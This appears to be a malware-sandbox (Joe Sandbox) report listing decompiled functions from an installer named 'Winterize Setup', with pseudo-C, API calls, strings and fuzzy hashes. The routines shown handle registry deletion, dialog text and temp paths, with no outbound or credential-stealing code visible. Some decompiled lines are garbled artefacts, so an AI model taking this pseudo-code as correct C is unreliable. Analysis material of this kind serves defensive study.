Function 00404AF5 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 84
stringCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00404AF5(int _a4, intOrPtr _a8, signed int _a12, signed int _a16) {
				char _v36;
				char _v68;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				signed int _t22;
				void* _t29;
				void* _t31;
				void* _t32;
				void* _t41;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				signed int _t51;
				signed int _t53;

				_t21 = _a16;
				_t51 = _a12;
				_t41 = 0xffffffdc;
				if(_t21 == 0) {
					0 = "true";
					_t22 = _t51;
					if(_t51 < 0x100000) {
						_push(0xa);
						_pop(0);
						_t41 = 0xffffffdd;
					}
					if(_t51 < 0x400) {
						_t41 = 0xffffffde;
					}
					if(_t51 < 0xffff3333) {
						_push("true");
						_pop(_t50);
						asm("cdq");
						_t22 = 1 / _t50 + _t51;
					}
					_t23 = _t22 & 0x00ffffff;
					_t53 = _t22 >> 0;
					_t43 = 0xa;
					_t47 = ((_t22 & 0x00ffffff) + _t23 * 4 + (_t22 & 0x00ffffff) + _t23 * 4 >> 0) % _t43;
				} else {
					_t53 = (_t21 << 0x00000020 | _t51) >> 0x14;
					_t47 = 0;
				}
				_t29 = E004062BB(_t41, _t47, _t53,  &_v36, 0xffffffdf);
				_t31 = E004062BB(_t41, _t47, _t53,  &_v68, _t41);
				_t32 = E004062BB(_t41, _t47, 0x420d50, 0x420d50, _a8);
				wsprintfA(_t32 + lstrlenA(0x420d50), "%u.%u%s%s", _t53, _t47, _t31, _t29);
				return SetDlgItemTextA( *0x423f18, _a4, 0x420d50);
			}

0x00404afb
0x00404b00
0x00404b08
0x00404b09
0x00404b1e
0x00404b1f
0x00404b21
0x00404b23
0x00404b25
0x00404b28
0x00404b28
0x00404b2f
0x00404b35
0x00404b35
0x00404b3c
0x00404b40
0x00404b43
0x00404b46
0x00404b49
0x00404b49
0x00404b4d
0x00404b5d
0x00404b5f
0x00404b62
0x00404b0b
0x00404b0b
0x00404b12
0x00404b12
0x00404b6a
0x00404b75
0x00404b8b
0x00404b9b
0x00404bb7

APIs

lstrlenA.KERNEL32(Winterize Setup: Installing,Winterize Setup: Installing,?,%u.%u%s%s,00000005,00000000,00000000,?,000000DC,00000000,00404A10,000000DF,00000000,00000400,?), ref: 00404B93
wsprintfA.USER32 ref: 00404B9B
SetDlgItemTextA.USER32(?,Winterize Setup: Installing), ref: 00404BAE

Strings

%u.%u%s%s, xrefs: 00404B7D
Winterize Setup: Installing, xrefs: 00404B85, 00404B8A, 00404B90, 00404BA4

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: ItemTextlstrlenwsprintf
String ID: %u.%u%s%s$Winterize Setup: Installing
API String ID: 3540041739-593932620
Opcode ID: 4998cff2e1d09e5dc3a612a5c2bb111bee5e877935be37d02c63d292a687f617
Instruction ID: 5179c0f035392565bdab74c0efbe7b8420b5ea1509705373073e4f645d5961bf
Opcode Fuzzy Hash: 4998cff2e1d09e5dc3a612a5c2bb111bee5e877935be37d02c63d292a687f617
Instruction Fuzzy Hash: 6011B773A0412437DB10656D9C45FAE329CDB85374F25023BFA26F31D1E978DC1282E9

Uniqueness

Uniqueness Score: -1.00%

Function 00402CD0 Relevance: 7.6, APIs: 5, Instructions: 84
registryCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00402CD0(void* __eflags, void* _a4, char* _a8, signed int _a12) {
				void* _v8;
				int _v12;
				char _v276;
				void* _t27;
				signed int _t33;
				intOrPtr* _t35;
				signed int _t45;
				signed int _t46;
				signed int _t47;

				_t46 = _a12;
				_t47 = _t46 & 0x00000300;
				_t45 = _t46 & 0x00000001;
				_t27 = E004060AE(__eflags, _a4, _a8, _t47 | 0x00000009,  &_v8);
				if(_t27 == 0) {
					if((_a12 & 0x00000002) == 0) {
						L3:
						_push(0x105);
						_push( &_v276);
						_push(0);
						while(RegEnumKeyA(_v8, ??, ??, ??) == 0) {
							__eflags = _t45;
							if(__eflags != 0) {
								L10:
								RegCloseKey(_v8);
								return 0x3eb;
							}
							_t33 = E00402CD0(__eflags, _v8,  &_v276, _a12);
							__eflags = _t33;
							if(_t33 != 0) {
								break;
							}
							_push(0x105);
							_push( &_v276);
							_push(_t45);
						}
						RegCloseKey(_v8);
						_t35 = E00406631(3);
						if(_t35 != 0) {
							return  *_t35(_a4, _a8, _t47, 0);
						}
						return RegDeleteKeyA(_a4, _a8);
					}
					_v12 = 0;
					if(RegEnumValueA(_v8, 0,  &_v276,  &_v12, 0, 0, 0, 0) != 0x103) {
						goto L10;
					}
					goto L3;
				}
				return _t27;
			}

0x00402cdb
0x00402ce4
0x00402ced
0x00402cf9
0x00402d02
0x00402d0c
0x00402d31
0x00402d37
0x00402d3c
0x00402d3d
0x00402d6d
0x00402d46
0x00402d48
0x00402d98
0x00402d9b
0x00000000
0x00402da1
0x00402d57
0x00402d5c
0x00402d5e
0x00000000
0x00000000
0x00402d66
0x00402d6b
0x00402d6c
0x00402d6c
0x00402d79
0x00402d81
0x00402d88
0x00000000
0x00402db1
0x00000000
0x00402d90
0x00402d1c
0x00402d2f
0x00000000
0x00000000
0x00000000
0x00402d2f
0x00402db7

APIs

RegEnumValueA.ADVAPI32(?,00000000,?,?,00000000,00000000,00000000,00000000,?,?,00100020,?,?,?), ref: 00402D24
RegEnumKeyA.ADVAPI32(?,00000000,?,00000105), ref: 00402D70
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D79
RegDeleteKeyA.ADVAPI32(?,?), ref: 00402D90
RegCloseKey.ADVAPI32(?,?,?), ref: 00402D9B

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CloseEnum$DeleteValue
String ID:
API String ID: 1354259210-0
Opcode ID: 681fed8778fb2982ecb5527b851c998c3744aa6ef2e2e43ab789fcfdd1fcd395
Instruction ID: 3131e3f6e31e27b0aa66d3651422ecf58d36830b066a5e7c74bd8b9791dc988a
Opcode Fuzzy Hash: 681fed8778fb2982ecb5527b851c998c3744aa6ef2e2e43ab789fcfdd1fcd395
Instruction Fuzzy Hash: 21215771900108BBEF129F90CE89EEE7A7DEF44344F100476FA55B11A0E7B48F64AA68

Uniqueness

Uniqueness Score: -1.00%

Function 00401D65 Relevance: 7.6, APIs: 5, Instructions: 75
windowCOMMON

Download Yara Rule

C-Code - Quality: 77%

			E00401D65(void* __ebx, void* __edx) {
				struct HWND__* _t30;
				CHAR* _t38;
				void* _t48;
				void* _t53;
				signed int _t55;
				signed int _t58;
				long _t61;
				void* _t65;

				_t53 = __ebx;
				if(( *(_t65 - 0x1b) & 0x00000001) == 0) {
					_t30 = GetDlgItem( *(_t65 - 8),  *(_t65 - 0x20));
				} else {
					E00402BAC(2);
					 *((intOrPtr*)(__ebp - 0x38)) = __edx;
				}
				_t55 =  *(_t65 - 0x1c);
				 *(_t65 + 8) = _t30;
				_t58 = _t55 & 0x00000004;
				 *(_t65 - 0xc) = _t55 & 0x00000003;
				 *(_t65 - 0x34) = _t55 >> 0x1f;
				 *(_t65 - 0x30) = _t55 >> 0x0000001e & 0x00000001;
				if((_t55 & 0x00010000) == 0) {
					_t38 =  *(_t65 - 0x24) & 0x0000ffff;
				} else {
					_t38 = E00402BCE(0x11);
				}
				 *(_t65 - 8) = _t38;
				GetClientRect( *(_t65 + 8), _t65 - 0x84);
				asm("sbb edi, edi");
				_t61 = LoadImageA( ~_t58 &  *0x424740,  *(_t65 - 8),  *(_t65 - 0xc),  *(_t65 - 0x7c) *  *(_t65 - 0x34),  *(_t65 - 0x78) *  *(_t65 - 0x30),  *(_t65 - 0x1c) & 0x0000fef0);
				_t48 = SendMessageA( *(_t65 + 8), 0x172,  *(_t65 - 0xc), _t61);
				if(_t48 != _t53 &&  *(_t65 - 0xc) == _t53) {
					DeleteObject(_t48);
				}
				if( *((intOrPtr*)(_t65 - 0x28)) >= _t53) {
					_push(_t61);
					E00406186();
				}
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t65 - 4));
				return 0;
			}

0x00401d65
0x00401d69
0x00401d7e
0x00401d6b
0x00401d6d
0x00401d73
0x00401d73
0x00401d84
0x00401d87
0x00401d91
0x00401d94
0x00401d9c
0x00401dad
0x00401db0
0x00401dbb
0x00401db2
0x00401db4
0x00401db4
0x00401dbf
0x00401dcc
0x00401df3
0x00401e02
0x00401e10
0x00401e18
0x00401e20
0x00401e20
0x00401e29
0x00401e2f
0x004029a5
0x004029a5
0x00402a5d
0x00402a69

APIs

GetDlgItem.USER32(?,?), ref: 00401D7E
GetClientRect.USER32(?,?), ref: 00401DCC
LoadImageA.USER32(?,?,?,?,?,?), ref: 00401DFC
SendMessageA.USER32(?,00000172,?,00000000), ref: 00401E10
DeleteObject.GDI32(00000000), ref: 00401E20

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: ClientDeleteImageItemLoadMessageObjectRectSend
String ID:
API String ID: 1849352358-0
Opcode ID: 6bf6946672e698bf1bfe4de63576d549b40da2e57045ab1ce7509431734d3278
Instruction ID: 488f83a01e3392fad3bf683b4443aaeb9baaf514c425c8ec37ca45fc88de17ea
Opcode Fuzzy Hash: 6bf6946672e698bf1bfe4de63576d549b40da2e57045ab1ce7509431734d3278
Instruction Fuzzy Hash: E9212A72E00109AFCF15DFA4DD85AAEBBB5EB88300F24417EF911F62A1CB389941DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00401C2E Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 84
windowtimeCOMMON

Download Yara Rule

C-Code - Quality: 59%

			E00401C2E(intOrPtr __edx) {
				int _t29;
				long _t30;
				signed int _t32;
				CHAR* _t35;
				long _t36;
				int _t41;
				signed int _t42;
				int _t46;
				int _t56;
				intOrPtr _t57;
				struct HWND__* _t61;
				void* _t64;

				_t57 = __edx;
				_t29 = E00402BAC(3);
				 *((intOrPtr*)(_t64 - 0x38)) = _t57;
				 *(_t64 - 8) = _t29;
				_t30 = E00402BAC("true");
				 *((intOrPtr*)(_t64 - 0x38)) = _t57;
				 *(_t64 + 8) = _t30;
				if(( *(_t64 - 0x14) & 0x00000001) != 0) {
					 *((intOrPtr*)(__ebp - 8)) = E00402BCE(0x33);
				}
				__eflags =  *(_t64 - 0x14) & 0x00000002;
				if(( *(_t64 - 0x14) & 0x00000002) != 0) {
					 *(_t64 + 8) = E00402BCE("true");
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x2c)) - 0x21;
				_push(1);
				if(__eflags != 0) {
					_t59 = E00402BCE();
					_t32 = E00402BCE();
					asm("sbb ecx, ecx");
					asm("sbb eax, eax");
					_t35 =  ~( *_t31) & _t59;
					__eflags = _t35;
					_t36 = FindWindowExA( *(_t64 - 8),  *(_t64 + 8), _t35,  ~( *_t32) & _t32);
					goto L10;
				} else {
					_t61 = E00402BAC();
					 *((intOrPtr*)(_t64 - 0x38)) = _t57;
					_t41 = E00402BAC(2);
					 *((intOrPtr*)(_t64 - 0x38)) = _t57;
					_t56 =  *(_t64 - 0x14) >> 2;
					if(__eflags == 0) {
						_t36 = SendMessageA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8));
						L10:
						 *(_t64 - 0xc) = _t36;
					} else {
						_t42 = SendMessageTimeoutA(_t61, _t41,  *(_t64 - 8),  *(_t64 + 8), _t46, _t56, _t64 - 0xc);
						asm("sbb eax, eax");
						 *((intOrPtr*)(_t64 - 4)) =  ~_t42 + 1;
					}
				}
				__eflags =  *((intOrPtr*)(_t64 - 0x28)) - _t46;
				if( *((intOrPtr*)(_t64 - 0x28)) >= _t46) {
					_push( *(_t64 - 0xc));
					E00406186();
				}
				 *0x4247e8 =  *0x4247e8 +  *((intOrPtr*)(_t64 - 4));
				return 0;
			}

0x00401c2e
0x00401c30
0x00401c37
0x00401c3a
0x00401c3d
0x00401c47
0x00401c4b
0x00401c4e
0x00401c57
0x00401c57
0x00401c5a
0x00401c5e
0x00401c67
0x00401c67
0x00401c6a
0x00401c6e
0x00401c70
0x00401cc5
0x00401cc7
0x00401cd0
0x00401cd8
0x00401cdb
0x00401cdb
0x00401ce4
0x00000000
0x00401c72
0x00401c79
0x00401c7b
0x00401c7e
0x00401c84
0x00401c8b
0x00401c8e
0x00401cb6
0x00401cea
0x00401cea
0x00401c90
0x00401c9e
0x00401ca6
0x00401ca9
0x00401ca9
0x00401c8e
0x00401ced
0x00401cf0
0x00401cf6
0x004029a5
0x004029a5
0x00402a5d
0x00402a69

APIs

SendMessageTimeoutA.USER32(00000000,00000000,?,?,?,00000002,?), ref: 00401C9E
SendMessageA.USER32(00000000,00000000,?,?), ref: 00401CB6

Strings

!, xrefs: 00401C6A

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: MessageSend$Timeout
String ID: !
API String ID: 1777923405-2657877971
Opcode ID: fd1638e98ba6d3c211dbcd30864b3267bbc4afbfdbf9ed1ecbf77a0a26ee8f5b
Instruction ID: 90c6e89302a946556e44a8134fdeeaca46b2157ebe1368c161caa9607488c25b
Opcode Fuzzy Hash: fd1638e98ba6d3c211dbcd30864b3267bbc4afbfdbf9ed1ecbf77a0a26ee8f5b
Instruction Fuzzy Hash: 80216071A44208BEEB05DFB5D98AAAD7FB4EF44304F20447FF502B61D1D6B88541DB28

Uniqueness

Uniqueness Score: -1.00%

Function 00405BC0 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405BC0(CHAR* _a4) {
				CHAR* _t7;

				_t7 = _a4;
				if( *(CharPrevA(_t7,  &(_t7[lstrlenA(_t7)]))) != 0x5c) {
					lstrcatA(_t7, 0x40a014);
				}
				return _t7;
			}

0x00405bc1
0x00405bd8
0x00405be0
0x00405be0
0x00405be8

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,0040344E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 00405BC6
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,0040344E,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00403673,?,00000007,00000009,0000000B), ref: 00405BCF
lstrcatA.KERNEL32(?,0040A014,?,00000007,00000009,0000000B), ref: 00405BE0

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405BC0

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3355392842
Opcode ID: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
Instruction ID: d6a8f4146c737b4c1111608fba26ea94f920a63204c4a5504a78fba285be9fad
Opcode Fuzzy Hash: 7e3bd0a74015a4b4c7bd8f32b9337ec82444728bd267b6e5413a6877d2367a50
Instruction Fuzzy Hash: 2CD0A7721055307BD21237154C09ECF2A488F0230470A006BF541B6191C73C5C1187FE

Uniqueness

Uniqueness Score: -1.00%

Function 00405C59 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405C59(CHAR* _a4) {
				CHAR* _t5;
				char* _t7;
				CHAR* _t9;
				char _t10;
				CHAR* _t11;
				void* _t13;

				_t11 = _a4;
				_t9 = CharNextA(_t11);
				_t5 = CharNextA(_t9);
				_t10 =  *_t11;
				if(_t10 == 0 ||  *_t9 != 0x3a || _t9[1] != 0x5c) {
					if(_t10 != 0x5c || _t11[1] != _t10) {
						L10:
						return 0;
					} else {
						_t13 = 2;
						while(1) {
							_t13 = _t13 - 1;
							_t7 = E00405BEB(_t5, "true");
							if( *_t7 == 0) {
								goto L10;
							}
							_t5 = _t7 + 1;
							if(_t13 != 0) {
								continue;
							}
							return _t5;
						}
						goto L10;
					}
				} else {
					return CharNextA(_t5);
				}
			}

0x00405c62
0x00405c69
0x00405c6c
0x00405c6e
0x00405c72
0x00405c87
0x00405ca6
0x00000000
0x00405c8e
0x00405c90
0x00405c91
0x00405c94
0x00405c95
0x00405c9d
0x00000000
0x00000000
0x00405c9f
0x00405ca2
0x00000000
0x00000000
0x00000000
0x00405ca2
0x00000000
0x00405c91
0x00405c7f
0x00000000
0x00405c80

APIs

CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,?,00405CC5,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp,76783410,?,76782EE0,00405A10,?,76783410,76782EE0,00000000), ref: 00405C67
CharNextA.USER32(00000000), ref: 00405C6C
CharNextA.USER32(00000000), ref: 00405C80

Strings

C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp, xrefs: 00405C5A

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp
API String ID: 3213498283-1088140213
Opcode ID: 822f20ec9a8b35058aaebb4724fdb7f7397eab756ad02150ec19b841d432d8ed
Instruction ID: 9a9653d8387983e914f74c1f8e9a863a5ef5a61ad4bce0684ac50a06ae96742d
Opcode Fuzzy Hash: 822f20ec9a8b35058aaebb4724fdb7f7397eab756ad02150ec19b841d432d8ed
Instruction Fuzzy Hash: 70F06291D0CF612BFB3256684C84B775E88CB55359F18407BDA80EA2C1C27C58808B9A

Uniqueness

Uniqueness Score: -1.00%

Function 00403949 Relevance: 6.0, APIs: 2, Strings: 2, Instructions: 20
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403949() {
				void* _t1;
				void* _t2;
				signed int _t11;

				_t1 =  *0x40a018; // 0x2c4
				if(_t1 != 0xffffffff) {
					CloseHandle(_t1);
					 *0x40a018 =  *0x40a018 | 0xffffffff;
				}
				_t2 =  *0x40a01c; // 0x2e8
				if(_t2 != 0xffffffff) {
					CloseHandle(_t2);
					 *0x40a01c =  *0x40a01c | 0xffffffff;
					_t11 =  *0x40a01c;
				}
				E004039A6();
				return E004059F0(_t11, "C:\\Users\\Arthur\\AppData\\Local\\Temp\\nsnC2E5.tmp", 7);
			}

0x00403949
0x00403958
0x0040395b
0x0040395d
0x0040395d
0x00403964
0x0040396c
0x0040396f
0x00403971
0x00403971
0x00403971
0x00403978
0x0040398a

APIs

CloseHandle.KERNEL32(000002C4,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040395B
CloseHandle.KERNEL32(000002E8,C:\Users\user\AppData\Local\Temp\,00403780,?,?,00000007,00000009,0000000B), ref: 0040396F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 0040394E
C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp, xrefs: 0040397F

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: CloseHandle
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsnC2E5.tmp
API String ID: 2962429428-2068973621
Opcode ID: 462e3e9a24158b25b8329b1cd15e1f965bb5a7db837425cedf417ff9a75e81db
Instruction ID: e7b4e10e42ecc32fc510515b664fd575b34ef2c347d966a0cc54db6954a3096e
Opcode Fuzzy Hash: 462e3e9a24158b25b8329b1cd15e1f965bb5a7db837425cedf417ff9a75e81db
Instruction Fuzzy Hash: 6AE08C71944B1896C130AF7CAD4E9953B1C9B413367244726F078F20F0C7789AA75AEE

Uniqueness

Uniqueness Score: -1.00%

Function 004052C3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E004052C3(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				int _t11;
				int _t15;
				long _t16;

				_t15 = _a8;
				if(_t15 != 0x102) {
					__eflags = _t15 - 0x200;
					if(_t15 != 0x200) {
						_t16 = _a16;
						L7:
						__eflags = _t15 - 0x419;
						if(_t15 == 0x419) {
							__eflags =  *0x420d3c - _t16; // 0x0
							if(__eflags != 0) {
								_push(_t16);
								_push(6);
								 *0x420d3c = _t16;
								E00404C7F();
							}
						}
						L11:
						return CallWindowProcA( *0x420d44, _a4, _t15, _a12, _t16);
					}
					_t11 = IsWindowVisible(_a4);
					__eflags = _t11;
					if(_t11 == 0) {
						L10:
						_t16 = _a16;
						goto L11;
					}
					_t16 = E00404BFF(_a4, 1);
					_t15 = 0x419;
					goto L7;
				}
				if(_a12 == 0x20) {
					E004042F8(0x413);
					return 0;
				}
				goto L10;
			}

0x004052c7
0x004052d1
0x004052e7
0x004052ed
0x0040530f
0x00405312
0x00405312
0x00405318
0x0040531a
0x00405320
0x00405322
0x00405323
0x00405325
0x0040532b
0x0040532b
0x00405320
0x00405335
0x00000000
0x00405343
0x004052f2
0x004052f8
0x004052fa
0x00405332
0x00405332
0x00000000
0x00405332
0x00405306
0x00405308
0x00000000
0x00405308
0x004052d7
0x004052de
0x00000000
0x004052e3
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 004052F2
CallWindowProcA.USER32(?,?,?,?), ref: 00405343

Part of subcall function 004042F8: SendMessageA.USER32(0001043A,00000000,00000000,00000000), ref: 0040430A

Strings

, xrefs: 004052D3

Memory Dump Source

Source File: 00000000.00000002.3277540593.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.3277507921.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277597774.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000422000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000426000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.000000000042A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277628377.0000000000433000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3277933732.0000000000435000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_sOjxIU25DP.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 267171b98df2b592aa392984fc350499d3aadededac15f67a9f8d07fb1712162
Instruction ID: 59df81840e01a834e8184741018ea8653580e9c1f0e113f815542439c818a584
Opcode Fuzzy Hash: 267171b98df2b592aa392984fc350499d3aadededac15f67a9f8d07fb1712162
